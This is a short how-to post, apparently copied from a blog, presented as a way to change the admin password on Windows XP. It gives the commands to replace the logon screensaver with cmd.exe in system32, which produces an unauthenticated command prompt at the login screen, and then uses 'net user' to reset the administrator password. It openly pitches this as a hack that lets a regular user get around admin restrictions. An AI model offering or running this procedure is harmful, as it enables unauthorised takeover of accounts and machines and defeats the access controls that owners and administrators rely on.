Windows XP: How To Change Admin Password


How To Change Admin Password in Windows XP
From: http://www.techmix.in/2012/08/how-to-hack-admin-password-in-windows-xp.html

The need of this hack is when you are installing a software from regular account and the system asks you to enter your admin password.

Try this method.

PROCEDURE :
1.  Open the command prompt.
2.  Type the following code in command prompt
                        cd\
                        cd\windows\system32
                        mkdir temphack
                        copy logon.scr temphack\logon.scr
                        copy cmd.exe temphack\cmd.exe
                       del logon.scr
                       rename cmd.exe logon.scr
                       exit

This tells the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get is an unprotected DOS prompt without logging into XP.

3. Once this happens enter this command:
net user <admin account name here> password
If the Administrator Account is called "techmix" and you want the password to be "blogger" enter this command:
net user techmix blogger
This changes the password on techmix machine to "blogger" and your in.
